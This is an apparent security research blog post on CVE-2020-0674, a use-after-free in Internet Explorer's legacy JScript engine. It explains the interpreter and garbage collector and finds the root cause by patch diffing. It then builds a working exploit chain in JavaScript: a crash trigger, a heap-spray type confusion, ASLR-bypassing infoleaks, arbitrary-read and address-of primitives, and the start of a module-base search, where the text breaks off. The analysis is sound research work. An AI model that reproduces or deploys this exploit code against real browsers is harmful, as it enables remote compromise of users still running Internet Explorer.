Internet Exploiter: Understanding vulnerabilities in Internet Explorer
By Max Van Amerongen on 15 May, 2020
Introduction
Internet Explorer has been a core part of the Microsoft Windows operating system since 1995. While further development has officially ceased in favour of the Edge browser, Microsoft continues to issue patches due to its continued use. Current statistics estimate that approximately 4% of the internet still uses Internet Explorer, thus continuing to have a larger user-base than browsers such as Opera. Yet, despite the persistent popularity of this browser, there are very few modern resources delving into it beyond a high level view or a paragraph on a few low-level aspects.
This blog post aims to provide some much needed insight into how one of the core components of Internet Explorer operates internally by examining how vulnerabilities such as use-after-frees can arise in it.
For those who wish to view the final exploit, it can be found here.
Vulnerability Description
During this post, CVE-2020-0674 will be the point of focus. It was discovered by Qihoo 360 who had found it being used in the wild. The vulnerability itself resides in the legacy "JavaScript" (JScript !== JavaScript apparently) engine module jscript.dll.
The description for this bug is that a use-after-free exists in the Array object's sort function when a callback function is executed. The arguments for this function are not tracked by the garbage collector (GC) and so can be used to cause a use-after-free.
A basic proof-of-concept (PoC) trigger can be written for this bug, as shown below:
[0, 0].sort(exploit); // Trigger the bug
function exploit(firstE1, secondE1) {
// 'firstE1' and 'secondE1' are untracked
var objs = new Array(); // Create an array
for(var i = 0; i < 6000; i++) objs[i] = new Object(); // Fill it with objects
firstE1 = objs[100]; // Point to one of the objects with an untracked variable
for(var i=0; i < 6000; i++) objs[i] = 0; // Clear references to all Objects in the array
CollectGarbage(); // Perform Garbage Collection
firstE1 + "A"; // Cause a dereference
return 0;
}
When this code is executed by using the wscript program, the stack trace below shows the crash, confirming that the crash occurred during the IsAStringObj method.
00000000`001edb48 000007fe`f37bda58 jscript!VAR::IsAStringObj+0x1d
00000000`001edb50 000007fe`f37825bc jscript!CScriptRuntime::Add+0x28
00000000`001edba0 000007fe`f37820cd jscript!CScriptRuntime::Run+0x3ed
00000000`001ede50 000007fe`f3786c5b jscript!ScrFncObj::CallWithFrameOnStack+0x16c
00000000`001ee060 000007fe`f37e19a4 jscript!ScrFncObj::Call+0xb7
00000000`001ee100 000007fe`f37e5e81 jscript!CallComp+0xb4
00000000`001ee1a0 000007fe`f37e7b91 jscript!JsArrayFunctionHeapSort+0x4cd
00000000`001ee2c0 000007fe`f3788a5c jscript!JsArraySort+0x241
00000000`001ee370 000007fe`f37b78f6 jscript!NatFncObj::Call+0x14c
00000000`001ee420 000007fe`f3788702 jscript!NameTbl::InvokeInternal+0x41b
00000000`001ee510 000007fe`f3786f12 jscript!VAR::InvokeByName+0x8b0
00000000`001ee720 000007fe`f378701d jscript!VAR::InvokeDispName+0x89
00000000`001ee7a0 000007fe`f3785061 jscript!VAR::InvokeByDispID+0x9dd
00000000`001ee7f0 000007fe`f37820cd jscript!CScriptRuntime::Run+0x3688
00000000`001eeaa0 000007fe`f3786c5b jscript!ScrFncObj::CallWithFrameOnStack+0x16c
00000000`001eecb0 000007fe`f3786abb jscript!ScrFncObj::Call+0xb7
00000000`001eed50 000007fe`f378abfc jscript!CSession::Execute+0x1a7
00000000`001eee20 000007fe`f3781f35 jscript!COleScript::ExecutePendingScripts+0x17a
00000000`001eeef0 00000000`ff4dc12f jscript!COleScript::SetScriptState+0x61
00000000`001eef20 00000000`ff4dbd09 wscript!CHost::RunStandardScript+0x29f
00000000`001eef70 00000000`ff4dd70c wscript!CHost::Execute+0x1d5
00000000`001ef230 00000000`ff4dae9c wscript!CHost::Main+0x518
00000000`001ef840 00000000`ff4db13f wscript!RunScript+0x6c
00000000`001efb60 00000000`ff4d97da wscript!WinMain+0x1ff
00000000`001efbc0 00000000`773f556d wscript!WinMainCRTStartup+0x9e
00000000`001efc60 00000000`7765372d kernel32!BaseThreadInitThunk+0xd
00000000`001efc90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
Although this is the legacy engine, Internet Explorer 11 can be made to load this dll instead of the current one by forcing the browser into Internet Explorer 8 Compatibility Mode.
It's possible to do this by using a scripting language attribute not supported by JScript 9, such as the encode or compact languages.
<meta httpd-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="jscript.encode">
/* Exploit */
</script>
<script language="jscript.compact">
/* Exploit */
</script>
The video showing that this vulnerability can be triggered in Internet Explorer 11 can be seen below:
While it's trivial to build a trigger for a bug using just the description, without understanding much about what the underlying cause is a significant amount of knowledge is missed and doing so can also lead to potentially missing undiscovered bugs that are similar in nature.
JScript Interpreter
Before diving into the vulnerability, the JScript engine itself must be explored. You cannot find the root-cause of a vulnerability if you don't understand the code it's in.
JScript is an interpreted language, meaning that there are a number of components that are involved in the process of executing code:
- Scanning - Takes the input script and tokenizes it (The Scanner class handles this). This stage checks lexical correctness.
- Parsing and Compilation - Creates an AST and generates Microsoft P-Code (Both performed by the Parser class). This stage checks the syntactic correctness.
- Execution - Takes the generated P-Code and executes it.
It's important to note that while Scanning and Parsing may seem like separate steps, in reality they interleave each other. This is done to avoid wasting processing power when an error is encountered. To explain this, consider the following script:
var first = 23 +;
var second = new Object();
var third = new Object();
var fourth = new Object();
The first line would trigger an error because although 23 + is lexically correct, it is not syntactically correct. However, if scanning were to be independent of parsing, the remainder of the code would be scanned and immediately discarded due to the error, thus wasting resources on redundant tasks.
After these two steps are completed, the execution of the P-Code takes place. P-Code is a series of intermediate languages written by Microsoft and used in the implementation of languages like Microsoft Visual Basic. JScript uses a P-Code language to execute code using simple opcodes in a stack-based machine. The core of this functionality resides in the CScriptRuntime::Run function, which uses a jump table to decide which basic operation to perform using the opcode.
The example below aims to give an idea of how JavaScript code translates into P-Code:
var aaa = new Object();
var bbb = aaa;
This would result in the following P-Code (Excluding calls to the Garbage Collector):
// Scope setup
Create var aaa
Create var bbb
// var aaa = new Object();
Push address of aaa
Push the value of object Object // (1)
Pop a value and create object of that type. The result is pushed onto the stack // (2)
Pop a value off the stack and pop the variable to assign it to off the stack // (3)
// var bbb = aaa;
Push the address of bbb
Push the value of aaa // (4)
Pop a value off the stack and pop the variable to assign it to off the stack // (5)
After executing the instructions at points 1-5 the variable stack looks like the following:
After point 1. [aaa, ptr to Object]
After point 2. [aaa, new Object]
After point 3. []
After point 4. [bbb, aaa]
After point 5. []
Variables and objects in jscript.dll
An understanding of how various items are laid out in memory is required since the vulnerability relates to how the engine handles variable tracking. This information is exceedingly relevant to identifying the root cause of this vulnerability.
In JScript variables are represented in the following VAR structure:
struct VAR {
int64 type; // The type of this object (Array, Integer, Float, ...) - Although of size short but for alignment, it takes up a full 64-bit value.
void *obj_ptr; // Either points to the object for this variable (for example a C++ object or BSTR) or acts as storage for an inline value.
VAR *next_var_ptr; // Mostly unused and not always a VAR pointer when it is used but acts as so during GC when calling scavenger functions.
};
It is essentially the same as the VARIANT structure. A number of type values can be found on the Microsoft Docs website.
The stack-based machine described in the interpreter section operates on a stack that holds values stored as VAR structs.
With regards to objects, JScript separates them into two categories: Native and non-native. Non-native objects are ones that are constructed by web developers in JavaScript. An example of this would be:
var non_native = {name: 'Non-native'};
Native objects (also known as builtins) on the other hand are ones for which the functionality is programmed into the engine itself. Examples of this are Date, RegExp, and Array. These classes all inherit from the NameTbl class, which defines the default behaviour for an object. Below you can see how the Array object overrides some of the inherited functions:
Strings that have been parsed by the engine (such as variable names in the JavaScript code that the engine needs to find) are stored in a structure called a symbol. It's represented using a SYM structure, as follows:
struct SYM {
wchar_t *symbol; // A pointer to the string that this structure represents.
unsigned int length; // The length of the string in wchar_t's.
int hash; // The hash value for the symbol.
short is_bstr; // Whether symbol is a BSTR or Psz.
int bstr_to_be_freed; // Whether the string has been marked to be freed.
};
While SYMs are used for lookups, the names and property values themselves are actually stored in a separate structure. This is how a variable name is associated with a particular object or value:
struct VVAL {
VAR variant; // The VAR value that this name relates to (For example, the object that the name refers to).
void *vval_type; // Appears to be 0x8 when the symbol is for a function such as a constructor, or 0x19 when the symbol is for a property such as the String length property.
int hash; // A 32-bit hash value.
unsigned int name_length; // A 32-bit number that says how many wchar_t values are in the name.
VVAL *next; // A pointer to the next VVAL property.
VVAL *next_hashbucket_vval; // If the hash of this object matches another in the namelist, the pointer for this struct replaces the old pointer and the old pointer is instead placed here to act as a singly-linked list.
int id_number; // The index of the property, incremented for each property that is made).
wchar_t name[]; // The wchar_t string.
};
Garbage Collection in jscript.dll
Since CVE-2020-0674 is a garbage collection issue, it's crucial to understand how the legacy JScript garbage collector works internally.
The GC functions in the engine are used to perform a number of steps:
- Mark - Traverses the VARs and marks them to be freed.
- Scavenge - Calls the scavenger functions to identify which VARs are currently referenced and unmarks them.
- Reclaim - Frees the VARs that are still marked.
In jscript.dll, the GC uses a series of doubly-linked blocks. Each block contains storage space for 100 VAR structs. Blocks take the form of a structure called a GcBlock:
struct GcBlock {
GcBlock *forward;
GcBlock *backward;
VAR storage[100];
};
When an entire block is freed (In either the GcBlockFactory::FreeBlk function or the GcAlloc::ReclaimGarbage function) it is added to a list of free blocks, ready to be used by the next block allocation. However, if 50 blocks are already in the free list then the block is not added to the list but instead deallocated.
In order to free a block, all the VARs it contains must first be freed. A VAR is marked for collection by setting the 12th bit of the type. If a scavenger function declares that this variable is still in use, the bit is set to 0.
The main logic for all of this is in the GcContext::CollectCore function which marks the variables (GcContext::SetMark), calls the scavenger functions, and then reclaims them (GcContext::Reclaim).
Scavenger functions are either root scavengers such as ScavVarList::ScavengeRoots or object scavengers that execute the NameTbl::ScavengeCore function (or the function that the object has overridden it with, for example RegExpObj::ScavengeCore) that run for each object that currently exists.
The garbage collection process is triggered after a number of heuristics but can be called manually in the code by using the CollectGarbage() JavaScript function, as done in the proof-of-concept. This can be used to the advantage of an exploit developer to perform heap feng-shui and manipulate the heap to structure chunks in a particular way to make vulnerability exploitation easier.
Analysis
Now onto analysing the root cause of the vulnerability in question. To begin with, differential debugging can be used. This is a technique whereby an individual traces two executions and compares the resulting paths. In doing so it's possible to identify differences in the execution and therefore the changes that have been made to the code, making it especially relevant to reverse engineering.
By viewing the function traces during the affected code, the patch is significantly clearer. With the basic understanding of the JScript GC above, it's evident that in the original trigger the variables firstE1 and secondE1 are not linked upon creation. Differential debugging can be used before sort is called up to just as the callback begins executing.
The minimised test case for this is seen below:
WScript.Echo("Start");
[0, 0].sort(exploit);
function exploit(firstE1, secondE1) {
WScript.Echo("End");
return 0;
}
WScript.Echo is used here as a blocking function that provides a popup (Similar to the usual alert JavaScript function) at either end of the interesting functionality. When the first Echo call is hit, function tracing is started. It is then stopped when the second Echo call is hit.
This PoC was tested on updates KB4534251 (before the patch) and KB4537767 (after the patch) and the results were compared.
There were a number of changes to functions which was likely down to refactoring by the development team such as the removal of the VAR::VAR function, and the change from the CallWithFrameOnStack function handling the main function call logic to being a wrapper for a new function called PerformCall (Perhaps to make patch-diffing a little harder due to unmatched function names or because the function name no longer matched the code itself).
After reducing the function calls that remain the same, the clear point of difference is that a new object called ScavVarList has been created prior to the CScriptRuntime::Run call. During the initialisation of the object, there is also a call to IScavengerBase::LinkToGc which indicates that this addition might be the key to the patch.
As the name suggests, ScavVarList is a scavenger object that un-marks objects during garbage collection and therefore fits with the description of the vulnerability.
To make this clearer, patch-diffing can be used to identify where this object is created in PerformCall and what is done prior to the function call in CallWithFrameOnStack.
Both functions clearly differ fairly greatly, however a number of basic blocks remain in both. By highlighting the important lines of this code before and at the actual CScriptRuntime::Run call, it's clear that the main difference in the setup of the call is the introduction of the ScavVarList object:
Verification
Although at this point the root cause might seem clear, significant refactoring was done between the vulnerable version and the patched version so verification is fairly crucial. By breaking on the call to IScavengerBase::LinkToGc and skipping over, the original bug is triggered with the same crash, thus confirming the theory.
Exploitation - Type Confusion
Use-after-free bugs are interesting but in order to exploit them, much more work must be done. In the exploitation section, some concepts for the x64 version of jscript are discussed. The first step is to convert this bug into a type confusion by reallocating the freed area that the untracked variable points to and constructing a fake object. Type confusion allows for a much wider range of attacks to be performed by constructing exploit primitives.
In order to cause a type confusion, let's consider the original memory layout once the sort callback is entered and untracked_1 is set:
The variable untracked_1 points to an Object in an Array. In memory this object is located in a GcBlock struct, as was mentioned in the GC section. Note that prior to the object that the untracked variable points to, there are 50 other GcBlocks (Equating to 500 stored vars). This is fundamental to exploiting the use-after-free since the first 50 GcBlocks will not be deallocated but instead be added to a list of free blocks.
Once the CollectGarbage function is called, the memory layout will instead look like the following:
The untracked_1 variable now points to freed memory. The aim from here is to allocate controlled data over this section. In order to allocate over these free chunks, the size of the data must match (or almost match) the size of the free chunk. This chunk size can be calculated by looking at the GcBlock structure:
- Forward pointer (8 bytes)
- Backward pointer (8 bytes)
- 100 VAR structs (100 * 24)
- VAR type (8 bytes)
- VAR object pointer (8 bytes)
- VAR unused or next pointer (8 bytes)
This results in a 0x970-byte chunk.
The untracked variable could be pointing anywhere in the VAR array of this block, so the obvious solution is to spray the target data throughout the entire chunk (in essence, making a fake GcBlock). It's also unknown which block the variable will be pointing in so a large number of GcBlocks will have to be freed so the fake GcBlock spray can be repeated a number of times.
A fake VAR struct can be generated using the helper function called makeVariant discussed in Mcafee's analysis of CVE-2018-8653. Below is the annotated form of this function:
function makeVariant(type, obj_ptr_lower, obj_ptr_upper, next_ptr_lower, next_ptr_upper) { // Make a variant
var charCodes = new Array();
charCodes.push(
// type
type, 0, 0, 0,
// obj_ptr
obj_ptr_lower & 0xffff, (obj_ptr_lower >> 16) & 0xffff, obj_ptr_upper & 0xffff, (obj_ptr_upper >> 16) & 0xffff,
// next_ptr
next_ptr_lower & 0xffff, (next_ptr_lower >> 16) & 0xffff, next_ptr_upper & 0xffff, (next_ptr_upper >> 16) & 0xffff
);
return String.fromCharCode.apply(null, charCodes);
}
This function generates a string of 24 bytes (The size of a VAR struct) that appears to be a VAR in memory.
One way to cause an allocation of a given size is to use JavaScript properties to cause an allocation. In JScript, a NameList is used to link information such as property names and when a new property is created it allocates space to store the VVAL structure discussed previously. However, the size of our string can't be exactly what is desired since structure headers, character size conversions, and any data that needs to be stored with the VVAL structure need to be considered.
The NameList::FCreateVval function uses the NoRelAlloc::PvAlloc function to allocate data. The size that FCreateVval passes to PvAlloc is:
(length_of_property_name * 2 + 0x42)
PvAlloc then uses this value in a second equation that is used as the parameter for the malloc allocation:
size_parameter*2 + 8
A property name with length 0x239 therefore results in an allocation of exactly 0x970 bytes. When this chunk is allocated, the UTF-16 property name is copied over, starting at offset 0x48. This means that padding is required to align the fake VARs with GcBlock VARs. The amount of padding is calculated by the following:
( 0x48 (write offset) - 0x8 (GcBlock forward pointer) - 0x8 (GcBlock backward pointer) ) % 0x18 (since each VAR is 0x18 bytes)
= the write offset is 8 bytes into a location where a GcBlock VAR is expected.
0x18 - 0x8 = 0x10, therefore 0x10 bytes of padding is required
By repeating this, there will eventually be an overlap between the location pointed to by the untracked variable and a property name string. The layout in memory will therefore be as follows:
This overlap will allow the fake VAR to be treated as a real VAR. A proof-of-concept for type confusion can be seen below:
// Start with 16 bytes of padding to correctly align (Each string character is UTF-16)
var variants = "AAAAAAAA";
while(variants.length < 0x239) {
// Generate a number of variants with type 3 (int) and the value 1234
variants += makeVariant(0x0003, 1234, 0x00000000, 0x00000000, 0x00000000);
}
var size = 20000
// Will be used to create VVAL structures
var overlay = new Array();
for(var i=0; i < size*2; i++) {
// Create a large number of arrays for later
overlay[i] = new Array();
}
function compare(untracked_1, untracked_2) {
// Used to create a number of GcBlocks to be freed
var spray = new Array();
// Create enough objects to fill more than 50 GcBlocks
for(var i = 0; i < size; i++) spray[i] = new Object();
// Point to one of the values in a GcBlock that will be freed
untracked_1 = spray[7777];
// Cause all objects to now be unreferenced, meaning that all GcBlocks will be freed in GC
for(var i=0; i < size; i++) spray[i] = 0;
// Cause a UAF by freeing the GcBlock that untracked_1 points in
CollectGarbage();
for(var i=0; i < size*2; i++) {
// Type Confusion: Spray VVAL structures. This will malloc with a length of ((2*len(name) + 0x42)*2 + 8). The aim is to allocate the size of GcBlock. This is because untracked_1 points to a var in a GcBlock.
overlay[i][variants] = 1;
}
// Read the VAR
WScript.Echo(untracked_1);
// Since the compare function must be
return 4;
}
// Trigger the exploit
[0,0].sort(compare);
After this is executed, a popup will occur showing the number 1234, proving a type confusion from a property name string to an integer VAR.
However there is an obvious problem with this methodology. Currently the probability of success is still quite low as there is only one untracked pointer. Multiple untracked variables would be needed in order to increase the chance of an overlap. Ivan Fratric in his partial exploit for CVE-2018-8353 (in which the lastIndex property of a RegExp object was untracked) created a number of RegExp objects and used the lastIndex of each one to point to a different offset in the target array. This meant that once the objects in the array were freed, each of those RegExp objects would point to an area that could have been overlapped:
However, running the sort function multiple times in succession isn't an option since the GC has to occur within it, still leaving only two untracked variables being useful. A comparable technique for this is to instead use recursion. The sort function will call sort on an array with itself as a callback. Each depth of this recursion adds two more untracked variables. The resulting sort function becomes as so:
// Will be used to create VVAL structures
var overlay = new Array();
for(var i=0; i < 20000; i++) {
// Create a large number of arrays for later
overlay[i] = new Array();
}
var spray = new Array();
// Create enough objects to fill more than 50 GcBlocks
for(var i = 0; i < 20000; i++) spray[i] = new Object();
// Track the depth of the recursive calls
var depth = 0;
// untracked_1 and untracked_2 are, well, untracked
function compare(untracked_1, untracked_2) {
// The VAR stack isn't that big, so can only handle so many calls
if(depth == 300) {
// At this point there are 600 variables pointing to memory about to be unallocated
// Cause all objects to now be unreferenced, meaning that all GcBlocks will be freed in GC
for(var i=0; i < 20000; i++) spray[i] = 0;
// Cause a UAF by freeing the GcBlock that untracked_1 points in
CollectGarbage();
for(var i=0; i < 20000; i++) {
// Type Confusion: Spray VVAL structures. This will malloc with a length of ((2*len(name) + 0x42)*2 + 8). The aim is to allocate the size of GcBlock. This is because untracked_1 points to a var in a GcBlock.
overlay[i][variants] = 1;
}
}
else {
// Point to one of the values in a GcBlock that will be freed.
untracked_1 = spray[depth*2];
// May as well use both untracked variables!
untracked_2 = spray[depth*2 + 1];
// Increase the depth
depth += 1;
// Recursive call
[0,0].sort(compare);
// After the recursion is over, check both variables
if(typeof untracked_1 === "number") WScript.Echo(untracked_1);
if(typeof untracked_2 === "number") WScript.Echo(untracked_2);
}
return 4;
}
Exploitation - Infoleak
The reason for using object properties for the exploit is twofold. As well as supporting the allocation of a specific size it can be used to leak addresses in a number of different ways, therefore bypassing ASLR.
The first is made possible by the fact that the object property string is stored in the first half of the allocated area it's possible to leak pointers that were left over from the previous GcBlock structure because heap blocks are not zeroed out when freed or allocated for performance reasons. This means that a fake VAR can be created and only supply the type value. Consider a freed block that contained the following VARs:
[ type 0x81 ] [ obj_ptr 0x412b9 ] [ next_var 0x0 ]
[ type 0x81 ] [ obj_ptr 0x41a04 ] [ next_var 0x0 ]
[ type 0x81 ] [ obj_ptr 0x41e24 ] [ next_var 0x0 ]
By adding one character to the end of the VAR spray it's possible to alter the type of the last variable:
[ type 0x3 ] [ obj_ptr 0x41414 ] [ next_var 0x0 ]
[ type 0x3 ] [ obj_ptr 0x41414 ] [ next_var 0x0 ]
[ type 0x5 ] [ obj_ptr 0x41e24 ] [ next_var 0x0 ] <-- Only the Type was overwritten
Since the type has been changed from 0x81 to 0x5, the obj_ptr takes a different meaning. In this case, 0x5 is the type value for a 64-bit float and the obj_ptr value is treated as a float value instead of a pointer which can be read from to leak the object pointer. The fake GcBlock generation code could therefore be changed to the following:
// Paddding
var variants = "AAAAAAAA";
// Shorter VAR length as not to go past the 0x970
while(variants.length < 0x230) {
// Generate a number of variants with type 3 (int) and the value 1234
variants += makeVariant(0x0003, 1234, 0x00000000, 0x00000000, 0x00000000);
}
// End the variants block with the value 5
variants += "\u0005";
The second technique has proven to be much more useful and involves leaking the pointer to the next property from the VVAL struct. It involves manipulating the hash value in the struct to act as a VAR type. By looking at the hash function, it's clear that a single character name can be used to cause the hash value to be a particular result:
If an untracked variable were pointing to the hash value in the VVAL struct (by carefully padding property names so this occurs), the hash would be treated as the type of that VAR and the next property pointer would be treated as the object pointer. The question then arises how a single character name could be used to create a string that's large enough to cause the reallocation of a freed GcBlock. This can be solved by understanding why PvAlloc operates the way that it does; the reason that allocating a 0x239-character property name expands during the allocation calculation to 0x970 bytes is because PvAlloc isn't allocating for one VVAL but also for any other related VVAL structs that can fit in that area, such as other property names for a particular object. Therefore allocating a single-byte property name "\u0005" after this 0x239-character property name is created will cause PvAlloc to return a pointer inside the 0x970-byte block just after the previous property name because the original VVAL only took up 0x4fa bytes (VVAL struct + name string), leaving 0x476 bytes of free space remaining in the allocated area.
In order to leak the pointer to the next property, a third property must be made in order to fill the next property pointer of the hash-manipulating property.
This can be written in JavaScript as the following sort function:
function initial_exploit(untracked_1, untracked_2) {
untracked_1 = spray[depth*2];
untracked_2 = spray[depth*2 + 1];
if(depth > 200) {
spray = new Array(); // Erase spray
CollectGarbage(); // Add to free list
for(i = 0; i < overlay_size; i++) {
overlay[i][variants] = 1;
overlay[i][padding] = 1; // Required in order to align the untracked variable
overlay[i]["\u0005"] = 1; // The hash-manipulating value.
overlay[i][leaked_var] = 1; // The next property that will get leaked.
}
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// Save pointers
depth += 1;
sort[depth].sort(initial_exploit);
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
This results in the following VVAL in memory, in which the hash and the name_len combine to be 0x200000005, making the VAR type 0x0005:
Exploitation - Arbitrary Read Primitive
One of the most useful primitives in exploitation is an arbitrary read primitive. Combined with an infoleak, it can prove to be incredibly useful, allowing the attacker to continually traverse pointers in objects to identify the address of a target destination. In JScript there are a number of ways you can create an arbitrary read primitive.
One trivial way involves constructing a fake string object in which the object pointer of the VAR is the location to be read. The string method charCodeAt could be used to read the WORD value at that address. The caveat of this method is that if the DWORD prior to the address is null, then no bytes can be read from the address. This is due to the string object being a BSTR, causing the DWORD before the start of the string to act as the size of the string. It's possible to work around this issue by instead using the length property to read several bytes. A right shift must also be considered since the actual length value (the BSTR length) is divided by two since the BSTR counts characters as bytes, whereas JavaScript counts characters in UTF-16. Therefore, an arbitrary byte can be read by setting the string pointer two bytes ahead, shifting the length value right by 7 more bits and performing an AND operation on the value with 0xFF to read the character value.
After the initial exploit is run to create a number of pointers to string objects, the vulnerable function does not need to be re-run. Since the untracked variables have been saved in an array, their object pointers still point to the original GcBlock addresses so all that needs to be done is to remove the existing properties property values, collect the garbage to erase them, and replace them by spraying new ones. The stability of this method can be improved by spraying identification numbers during the exploit to find the exact object that needs to be freed in order to reallocate over a selected untracked variable. For example:
// Exploits the vulnerability
function initial_exploit(untracked_1, untracked_2) {
untracked_1 = spray[depth*2];
untracked_2 = spray[depth*2 + 1];
if(depth > 200) {
spray = new Array();
CollectGarbage();
for(i = 0; i < overlay_size; i++) {
overlay[i][variants] = 1;
overlay[i][padding] = 1;
overlay[i][leak] = 1;
overlay[i][leaked_var] = i; // Used to identify which property name is being used
}
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
depth += 1;
sort[depth].sort(initial_exploit);
total.push(untracked_1);
total.push(untracked_2);
return 0;
}
// Runs the exploit for the first time and leaks a VVAL pointer. The VAR assigned to the property will be a number containing the identifier number
function leak_var() {
reset(); // Resets some objects and arrays so the exploit can be run a second time
variants = Array(570).join('A'); // Create the variants
sort[depth].sort(initial_exploit); // Exploit
overlay_backup = overlay; // Prevent it from being freed and losing our leaked pointer
leak_lower = undefined;
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number" && total[i] % 1 != 0) {
leak_lower = (total[i] / 4.9406564584124654E-324); // Contains the VVAL address
break;
}
}
}
// Runs the exploit a second time to cause a type confusion that creates a variable of type 0x80 pointing to the VAR at the start of the leaked VVAL. When dereferenced, the number will be the identifier of the object.
function get_rewrite_offset() {
reset(); // Resets some objects and arrays so the exploit can be run a second time
set_variants(0x80, leak_lower); // Find the object identifier
sort[depth].sort(initial_exploit); // Exploit
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
leak_offset = parseInt(total[i] + ""); // Reads the object identifying number. Since this is of type 0x80 and not directly 0x3, it cannot be easily read directly, so converting it to a string is a quick solution.
break;
}
}
}
// Run
leak_var();
get_rewrite_offset()
Once this has been performed, the target object can be freed and reallocated easily by creating the following JavaScript function:
function rewrite(v, i){
CollectGarbage(); // Get rid of anything that still needs to be freed before starting
overlay_backup[leak_offset] = null; // Remove the reference to target object
CollectGarbage(); // Free the object
overlay_backup[leak_offset] = new Object(); // New object - Should end up in the same slot as the last object
overlay_backup[leak_offset][variants] = 1; // Reallocate the newly freed location
overlay_backup[leak_offset][padding] = 1; // Perform the padding again
overlay_backup[leak_offset][leak] = 1; // Create the leak var again
overlay_backup[leak_offset][v] = i; // Reallocate over the area with a new property name and a new VAR assigned. This name will be at a known location since the address of this VVAL is already known
}
Once the location can be reliably rewritten, the next step is to create a VAR that points to the name string of the final property. Since this name can be changed using the rewrite function, it can be used to create a fake VAR, as so:
function get_fakeobj() {
rewrite(make_variant(3, 1234)); // Turn the name of the property into a variant
reset();
set_variants(0x80, leak_lower + 64); // Create a fake VAR pointing to the name of the property
sort[depth].sort(initial_exploit); // Exploit
for(i = 0; i < total.length; i++) {
if(typeof total[i] === "number") {
if(total[i] + "" == 1234) {
fakeobj_var = total[i];
break;
}
}
}
}
With this fake object, the rewrite function can be used to create a read primitive by changing the fake object string pointer to the target address:
// Rewrites the property and changes the fakeobj_var variable to a string at a specified location. This sets up the read primitive.
function read_pointer(addr_lower, addr_higher, o) {
rewrite(make_variant(8, addr_lower, addr_higher), o);
}
// Reads the byte at the address using the length of the BSTR.
function read_byte(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o); // Use the length. However, when the length is found, it is divided by 2 (BSTR_LENGTH >> 1) so changing this offset allows us to read a byte properly.
return (fakeobj_var.length >> 15) & 0xff; // Shift to align and get the byte.
}
// Reads the WORD (2 bytes) at the specified address.
function read_word(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
return ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
}
// Reads the DWORD (4 bytes) at the specified address.
function read_dword(addr_lower, addr_higher, o) {
read_pointer(addr_lower + 2, addr_higher, o);
lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 4, addr_higher, o);
upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
return lower + (upper << 16);
}
// Reads the QWORD (8 bytes) at the specified address.
function read_qword(addr_lower, addr_higher, o) {
// Lower
read_pointer(addr_lower + 2, addr_higher, o);
lower_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 4, addr_higher, o);
lower_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
// Upper
read_pointer(addr_lower + 6, addr_higher, o);
upper_lower = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
read_pointer(addr_lower + 8, addr_higher, o);
upper_upper = ((fakeobj_var.length >> 15) & 0xff) + (((fakeobj_var.length >> 23) & 0xff) << 8);
return {'lower': lower_lower + (lower_upper << 16), 'upper': upper_lower + (upper_upper << 16)}; // Return the lower and upper parts of the resulting value
}
An alternative primitive exists for reading up to 0xffffffff bytes from an offset. For the 32-bit browser, this allows the entire address-space after the variable to be referenced. However, 64-bit means that this is only useful for reading a small area of memory. It involves constructing a string such as:
var fake_bstr = "\uffff\uffff";
By creating a large number of variables with this string, the GcBlock will be sprayed with the string pointer. The first infoleak technique discussed above can then be used to leak the address of the string. Once this address is obtained, the type-confusion technique can be used to create a new string VAR in which the object pointer is 4 bytes ahead of the string location. This will cause 0xffffffff to be treated as the BSTR length, allowing the charCodeAt function to be used to read the value of arbitrary memory addresses.
A third option could be used in which several variables are almost entirely overlapped. This option is much more stable but has limitations. Consider the following VAR:
The VAR type is 5, causing the object pointer to be treated as a float value. Now consider a second variable that points to a VAR 2 bytes before the start of this VAR:
These two VARs almost completely overlap. By spraying the uninitialised memory prior to creating these variables, it would be possible to overwrite the two bytes of out-of-bounds memory and thus change the type of the overlapping variable:
If this second variable is made a string, as shown above, then the object pointer can be used for an arbitrary read. The float VAR can be used to alter the 48 most significant bits of the string VAR object pointer, however the last 16 bits cannot be changed.
For the purpose of this exploit, the first option is going to be used.
Exploitation - Address-Of Primitive
During the exploitation process the addresses of a number of variables will need to be found such as leaking a JScript vftable or when getting the address of strings. At this point, a VVAL pointer has been leaked and the exact object that needs to be freed and reallocated has been identified, forming a read primitive.
The address-of primitive becomes trivial to implement using the functions discussed in the previous section:
function addrof(o) {
var_addr = read_dword(leak_lower + 8, 0, o);
return read_dword(var_addr + 8, 0, o);
}
The above code assumes that the object will be located within the 32-bit range, as it has proven to be during testing. It works by setting the VAR at the start of the leaked VVAL location to be the target object, and replaces the arbitrary read string to point to the object pointer of this VAR. Once this has been read, it is repeated with the second VAR and the object pointer is retrieved, as so:
Exploitation - Handling ASLR and module versions
Since there is no way to know what versions of DLLs are being used on the target system and therefore what the offsets are to required functions, identifying the base of these modules must be done programmatically using an infoleak and the read primitive discussed in the previous segment. The basic overview for this is as follows:
- Leak a module pointer from an object.
- Set the lower 16 bits of the address to 0.
- Check whether the DOS header or stub is found at the expected offset from the base.
- If not, decrement the address by 0x10000.
- Repeat 2, 3, and 4 until the DOS header or stub is identified.
Step one is fairly simple. Starting with leaking a jscript.dll pointer, all that needs to be done is:
- Create a new JavaScript object.
- Use the addrof primitive discussed above to get the address of the VAR struct.
- Follow the object pointers in the VAR (offset 8) to reach the main object (For example a RegExpObj or NameTbl object).
- Read the vftable pointer at offset 0.
Implementing steps 2 to 5 in JavaScript can be done as follows:
function find_module_base(ptr) { // ptr is an object of the form {'upper': address_upper, 'lower': address_lower}
ptr.lower = (ptr.lower & 0xFFFF0000) + 0x4e; // Set to starting search point
while(true) {
